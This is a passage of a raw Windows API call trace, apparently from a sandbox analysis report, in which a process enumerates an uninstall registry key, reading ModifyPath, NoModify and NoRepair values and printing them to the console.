0x0 [0147.071] GetProcessHeap () returned 0x2e0000 [0147.071] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0xc, Size=0x6c) returned 0x2fd9a0 [0147.071] GetProcessHeap () returned 0x2e0000 [0147.071] HeapValidate (hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fd9a0) returned 1 [0147.071] GetProcessHeap () returned 0x2e0000 [0147.071] RtlSizeHeap (HeapHandle=0x2e0000, Flags=0x0, MemoryPointer=0x2fd9a0) returned 0x6c [0147.071] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="ModifyPath", dwFlags=0x1000ffff, pdwType=0x23f5f0, pvData=0x2fd9a0, pcbData=0x23f670*=0x6a | out: pdwType=0x23f5f0*=0x2, pvData="MsiExec.exe /X{1D8E6291-B0D5-35EC-8441-6616F567A0F7}", pcbData=0x23f670*=0x6a) returned 0x0 [0147.071] __iob_func () returned 0x7fefd702a80 [0147.071] _memicmp (_Buf1=0x2fb5f0, _Buf2=0xffdd1458, _Size=0x7) returned 0 [0147.071] _vsnwprintf (in: _Buffer=0x2fbd60, _BufferCount=0x7ff, _Format="%*s", _ArgList=0x23f580 | out: _Buffer=" ") returned 4 [0147.071] _fileno (_File=0x7fefd702ab0) returned 1 [0147.071] _errno () returned 0xc4bb0 [0147.071] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.071] _errno () returned 0xc4bb0 [0147.071] GetFileType (hFile=0x50) returned 0x1 [0147.071] lstrlenW (lpString=" ") returned 4 [0147.071] GetConsoleOutputCP () returned 0x1b5 [0147.071] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0147.071] GetConsoleOutputCP () returned 0x1b5 [0147.071] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0147.071] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0147.071] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.071] lstrlenW (lpString="ModifyPath") returned 10 [0147.072] __iob_func () returned 0x7fefd702a80 [0147.072] _fileno (_File=0x7fefd702ab0) returned 1 [0147.072] _errno () returned 0xc4bb0 [0147.072] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.072] _errno () returned 0xc4bb0 [0147.072] GetFileType (hFile=0x50) returned 0x1 [0147.072] lstrlenW (lpString="ModifyPath") returned 10 [0147.072] GetConsoleOutputCP () returned 0x1b5 [0147.072] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="ModifyPath", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0147.072] GetConsoleOutputCP () returned 0x1b5 [0147.072] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="ModifyPath", cchWideChar=10, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ModifyPath", lpUsedDefaultChar=0x0) returned 10 [0147.072] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 10 [0147.072] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.072] __iob_func () returned 0x7fefd702a80 [0147.072] _fileno (_File=0x7fefd702ab0) returned 1 [0147.072] _errno () returned 0xc4bb0 [0147.072] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.072] _errno () returned 0xc4bb0 [0147.072] GetFileType (hFile=0x50) returned 0x1 [0147.072] lstrlenW (lpString=" ") returned 4 [0147.072] GetConsoleOutputCP () returned 0x1b5 [0147.072] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0147.072] GetConsoleOutputCP () returned 0x1b5 [0147.073] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0147.073] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0147.073] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.073] __iob_func () returned 0x7fefd702a80 [0147.073] _fileno (_File=0x7fefd702ab0) returned 1 [0147.073] _errno () returned 0xc4bb0 [0147.073] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.073] _errno () returned 0xc4bb0 [0147.073] GetFileType (hFile=0x50) returned 0x1 [0147.073] lstrlenW (lpString="REG_EXPAND_SZ") returned 13 [0147.073] GetConsoleOutputCP () returned 0x1b5 [0147.073] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_EXPAND_SZ", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0147.073] GetConsoleOutputCP () returned 0x1b5 [0147.073] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_EXPAND_SZ", cchWideChar=13, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="REG_EXPAND_SZ", lpUsedDefaultChar=0x0) returned 13 [0147.073] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 13 [0147.073] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.073] __iob_func () returned 0x7fefd702a80 [0147.073] _fileno (_File=0x7fefd702ab0) returned 1 [0147.073] _errno () returned 0xc4bb0 [0147.073] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.073] _errno () returned 0xc4bb0 [0147.073] GetFileType (hFile=0x50) returned 0x1 [0147.073] lstrlenW (lpString=" ") returned 4 [0147.074] GetConsoleOutputCP () returned 0x1b5 [0147.074] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0147.074] GetConsoleOutputCP () returned 0x1b5 [0147.074] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0147.074] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0147.074] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.074] __iob_func () returned 0x7fefd702a80 [0147.074] _fileno (_File=0x7fefd702ab0) returned 1 [0147.074] _errno () returned 0xc4bb0 [0147.074] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.074] _errno () returned 0xc4bb0 [0147.074] GetFileType (hFile=0x50) returned 0x1 [0147.074] lstrlenW (lpString="MsiExec.exe /X{1D8E6291-B0D5-35EC-8441-6616F567A0F7}") returned 52 [0147.074] GetConsoleOutputCP () returned 0x1b5 [0147.074] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="MsiExec.exe /X{1D8E6291-B0D5-35EC-8441-6616F567A0F7}", cchWideChar=52, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 52 [0147.074] GetConsoleOutputCP () returned 0x1b5 [0147.074] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="MsiExec.exe /X{1D8E6291-B0D5-35EC-8441-6616F567A0F7}", cchWideChar=52, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MsiExec.exe /X{1D8E6291-B0D5-35EC-8441-6616F567A0F7}", lpUsedDefaultChar=0x0) returned 52 [0147.074] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 52 [0147.074] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.075] __iob_func () returned 0x7fefd702a80 [0147.075] _fileno (_File=0x7fefd702ab0) returned 1 [0147.075] _errno () returned 0xc4bb0 [0147.075] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.075] _errno () returned 0xc4bb0 [0147.075] GetFileType (hFile=0x50) returned 0x1 [0147.075] lstrlenW (lpString="\n") returned 1 [0147.075] GetConsoleOutputCP () returned 0x1b5 [0147.075] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0147.075] GetConsoleOutputCP () returned 0x1b5 [0147.075] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\n", lpUsedDefaultChar=0x0) returned 1 [0147.075] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 1 [0147.075] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.075] GetProcessHeap () returned 0x2e0000 [0147.075] GetProcessHeap () returned 0x2e0000 [0147.075] HeapValidate (hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fd9a0) returned 1 [0147.075] GetProcessHeap () returned 0x2e0000 [0147.075] RtlSizeHeap (HeapHandle=0x2e0000, Flags=0x0, MemoryPointer=0x2fd9a0) returned 0x6c [0147.075] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fd9a0 | out: hHeap=0x2e0000) returned 1 [0147.075] RegEnumValueW (in: hKey=0x5c, dwIndex=0xa, lpValueName=0x2f5bc0, lpcchValueName=0x23f6d4, lpReserved=0x0, lpType=0x23f6d8, lpData=0x0, lpcbData=0x0 | out: lpValueName="NoModify", lpcchValueName=0x23f6d4, lpType=0x23f6d8, lpData=0x0, lpcbData=0x0) returned 0x0 [0147.075] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="NoModify", dwFlags=0xffff, pdwType=0x0, pvData=0x0, pcbData=0x23f670*=0x0 | out: pdwType=0x0, pvData=0x0, pcbData=0x23f670*=0x4) returned 0x0 [0147.075] GetProcessHeap () returned 0x2e0000 [0147.075] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0xc, Size=0x6) returned 0x2fcda0 [0147.075] GetProcessHeap () returned 0x2e0000 [0147.075] HeapValidate (hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fcda0) returned 1 [0147.076] GetProcessHeap () returned 0x2e0000 [0147.076] RtlSizeHeap (HeapHandle=0x2e0000, Flags=0x0, MemoryPointer=0x2fcda0) returned 0x6 [0147.076] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="NoModify", dwFlags=0x1000ffff, pdwType=0x23f5f0, pvData=0x2fcda0, pcbData=0x23f670*=0x4 | out: pdwType=0x23f5f0*=0x4, pvData=0x2fcda0*=0x1, pcbData=0x23f670*=0x4) returned 0x0 [0147.076] __iob_func () returned 0x7fefd702a80 [0147.076] _memicmp (_Buf1=0x2fb5f0, _Buf2=0xffdd1458, _Size=0x7) returned 0 [0147.076] _vsnwprintf (in: _Buffer=0x2fbd60, _BufferCount=0x7ff, _Format="%*s", _ArgList=0x23f580 | out: _Buffer=" ") returned 4 [0147.076] _fileno (_File=0x7fefd702ab0) returned 1 [0147.076] _errno () returned 0xc4bb0 [0147.076] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.076] _errno () returned 0xc4bb0 [0147.076] GetFileType (hFile=0x50) returned 0x1 [0147.076] lstrlenW (lpString=" ") returned 4 [0147.076] GetConsoleOutputCP () returned 0x1b5 [0147.076] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0147.076] GetConsoleOutputCP () returned 0x1b5 [0147.076] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0147.076] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0147.076] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.076] lstrlenW (lpString="NoModify") returned 8 [0147.076] __iob_func () returned 0x7fefd702a80 [0147.076] _fileno (_File=0x7fefd702ab0) returned 1 [0147.076] _errno () returned 0xc4bb0 [0147.076] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.076] _errno () returned 0xc4bb0 [0147.076] GetFileType (hFile=0x50) returned 0x1 [0147.076] lstrlenW (lpString="NoModify") returned 8 [0147.077] GetConsoleOutputCP () returned 0x1b5 [0147.077] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="NoModify", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0147.077] GetConsoleOutputCP () returned 0x1b5 [0147.077] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="NoModify", cchWideChar=8, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="NoModify", lpUsedDefaultChar=0x0) returned 8 [0147.077] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 8 [0147.077] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.077] __iob_func () returned 0x7fefd702a80 [0147.077] _fileno (_File=0x7fefd702ab0) returned 1 [0147.077] _errno () returned 0xc4bb0 [0147.077] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.077] _errno () returned 0xc4bb0 [0147.077] GetFileType (hFile=0x50) returned 0x1 [0147.077] lstrlenW (lpString=" ") returned 4 [0147.077] GetConsoleOutputCP () returned 0x1b5 [0147.077] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0147.077] GetConsoleOutputCP () returned 0x1b5 [0147.077] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0147.077] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0147.077] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.078] __iob_func () returned 0x7fefd702a80 [0147.078] _fileno (_File=0x7fefd702ab0) returned 1 [0147.078] _errno () returned 0xc4bb0 [0147.078] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.078] _errno () returned 0xc4bb0 [0147.078] GetFileType (hFile=0x50) returned 0x1 [0147.078] lstrlenW (lpString="REG_DWORD") returned 9 [0147.078] GetConsoleOutputCP () returned 0x1b5 [0147.078] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_DWORD", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0147.078] GetConsoleOutputCP () returned 0x1b5 [0147.078] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_DWORD", cchWideChar=9, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="REG_DWORD", lpUsedDefaultChar=0x0) returned 9 [0147.078] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 9 [0147.078] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.078] __iob_func () returned 0x7fefd702a80 [0147.078] _fileno (_File=0x7fefd702ab0) returned 1 [0147.078] _errno () returned 0xc4bb0 [0147.078] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.078] _errno () returned 0xc4bb0 [0147.078] GetFileType (hFile=0x50) returned 0x1 [0147.078] lstrlenW (lpString=" ") returned 4 [0147.078] GetConsoleOutputCP () returned 0x1b5 [0147.078] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0147.078] GetConsoleOutputCP () returned 0x1b5 [0147.079] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0147.079] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0147.079] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.079] __iob_func () returned 0x7fefd702a80 [0147.079] _memicmp (_Buf1=0x2fb5f0, _Buf2=0xffdd1458, _Size=0x7) returned 0 [0147.079] _vsnwprintf (in: _Buffer=0x2fbd60, _BufferCount=0x7ff, _Format="0x%x", _ArgList=0x23f580 | out: _Buffer="0x1") returned 3 [0147.079] _fileno (_File=0x7fefd702ab0) returned 1 [0147.079] _errno () returned 0xc4bb0 [0147.079] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.079] _errno () returned 0xc4bb0 [0147.079] GetFileType (hFile=0x50) returned 0x1 [0147.079] lstrlenW (lpString="0x1") returned 3 [0147.079] GetConsoleOutputCP () returned 0x1b5 [0147.079] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="0x1", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0147.079] GetConsoleOutputCP () returned 0x1b5 [0147.079] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="0x1", cchWideChar=3, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="0x1", lpUsedDefaultChar=0x0) returned 3 [0147.079] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 3 [0147.079] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.079] __iob_func () returned 0x7fefd702a80 [0147.079] _fileno (_File=0x7fefd702ab0) returned 1 [0147.079] _errno () returned 0xc4bb0 [0147.080] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.080] _errno () returned 0xc4bb0 [0147.080] GetFileType (hFile=0x50) returned 0x1 [0147.080] lstrlenW (lpString="\n") returned 1 [0147.080] GetConsoleOutputCP () returned 0x1b5 [0147.080] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0147.080] GetConsoleOutputCP () returned 0x1b5 [0147.080] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\n", lpUsedDefaultChar=0x0) returned 1 [0147.080] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 1 [0147.080] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.080] GetProcessHeap () returned 0x2e0000 [0147.080] GetProcessHeap () returned 0x2e0000 [0147.080] HeapValidate (hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fcda0) returned 1 [0147.080] GetProcessHeap () returned 0x2e0000 [0147.080] RtlSizeHeap (HeapHandle=0x2e0000, Flags=0x0, MemoryPointer=0x2fcda0) returned 0x6 [0147.080] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fcda0 | out: hHeap=0x2e0000) returned 1 [0147.081] RegEnumValueW (in: hKey=0x5c, dwIndex=0xb, lpValueName=0x2f5bc0, lpcchValueName=0x23f6d4, lpReserved=0x0, lpType=0x23f6d8, lpData=0x0, lpcbData=0x0 | out: lpValueName="NoRepair", lpcchValueName=0x23f6d4, lpType=0x23f6d8, lpData=0x0, lpcbData=0x0) returned 0x0 [0147.081] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="NoRepair", dwFlags=0xffff, pdwType=0x0, pvData=0x0, pcbData=0x23f670*=0x0 | out: pdwType=0x0, pvData=0x0, pcbData=0x23f670*=0x4) returned 0x0 [0147.081] GetProcessHeap () returned 0x2e0000 [0147.081] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0xc, Size=0x6) returned 0x2fcda0 [0147.081] GetProcessHeap () returned 0x2e0000 [0147.081] HeapValidate (hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fcda0) returned 1 [0147.081] GetProcessHeap () returned 0x2e0000 [0147.081] RtlSizeHeap (HeapHandle=0x2e0000, Flags=0x0, MemoryPointer=0x2fcda0) returned 0x6 [0147.081] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="NoRepair", dwFlags=0x1000ffff, pdwType=0x23f5f0, pvData=0x2fcda0, pcbData=0x23f670*=0x4 | out: pdwType=0x23f5f0*=0x4, pvData=0x2fcda0*=0x1, pcbData=0x23f670*=0x4) returned 0x0 [0147.081] __iob_func () returned 0x7fefd702a80 [0147.081] _memicmp (_Buf1=0x2fb5f0, _Buf2=0xffdd1458, _Size=0x7) returned 0 [0147.081] _vsnwprintf (in: _Buffer=0x2fbd60, _BufferCount=0x7ff, _Format="%*s", _ArgList=0x23f580 | out: _Buffer=" ") returned 4 [0147.081] _fileno (_File=0x7fefd702ab0) returned 1 [0147.081] _errno () returned 0xc4bb0 [0147.081] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.081] _errno () returned 0xc4bb0 [0147.081] GetFileType (hFile=0x50) returned 0x1 [0147.081] lstrlenW (lpString=" ") returned 4 [0147.081] GetConsoleOutputCP () returned 0x1b5 [0147.081] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0147.081] GetConsoleOutputCP () returned 0x1b5 [0147.081] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0147.081] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0147.081] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.082] lstrlenW (lpString="NoRepair") returned 8 [0147.082] __iob_func () returned 0x7fefd702a80 [0147.082] _fileno (_File=0x7fefd702ab0) returned 1 [0147.082] _errno () returned 0xc4bb0 [0147.082] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.082] _errno () returned 0xc4bb0 [0147.082] GetFileType (hFile=0x50) returned 0x1 [0147.082] lstrlenW (lpString="NoRepair") returned 8 [0147.082] GetConsoleOutputCP () returned 0x1b5 [0147.082] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="NoRepair", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0147.082] GetConsoleOutputCP () returned 0x1b5 [0147.082] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="NoRepair", cchWideChar=8, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="NoRepair", lpUsedDefaultChar=0x0) returned 8 [0147.082] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 8 [0147.082] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.082] __iob_func () returned 0x7fefd702a80 [0147.082] _fileno (_File=0x7fefd702ab0) returned 1 [0147.082] _errno () returned 0xc4bb0 [0147.082] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.082] _errno () returned 0xc4bb0 [0147.082] GetFileType (hFile=0x50) returned 0x1 [0147.082] lstrlenW (lpString=" ") returned 4 [0147.082] GetConsoleOutputCP () returned 0x1b5 [0147.082] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0147.083] GetConsoleOutputCP () returned 0x1b5 [0147.083] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0147.083] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0147.083] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.083] __iob_func () returned 0x7fefd702a80 [0147.083] _fileno (_File=0x7fefd702ab0) returned 1 [0147.083] _errno () returned 0xc4bb0 [0147.083] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.083] _errno () returned 0xc4bb0 [0147.083] GetFileType (hFile=0x50) returned 0x1 [0147.083] lstrlenW (lpString="REG_DWORD") returned 9 [0147.083] GetConsoleOutputCP () returned 0x1b5 [0147.083] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_DWORD", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0147.083] GetConsoleOutputCP () returned 0x1b5 [0147.083] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_DWORD", cchWideChar=9, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="REG_DWORD", lpUsedDefaultChar=0x0) returned 9 [0147.083] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 9 [0147.083] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.083] __iob_func () returned 0x7fefd702a80 [0147.083] _fileno (_File=0x7fefd702ab0) returned 1 [0147.083] _errno () returned 0xc4bb0 [0147.083] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.083] 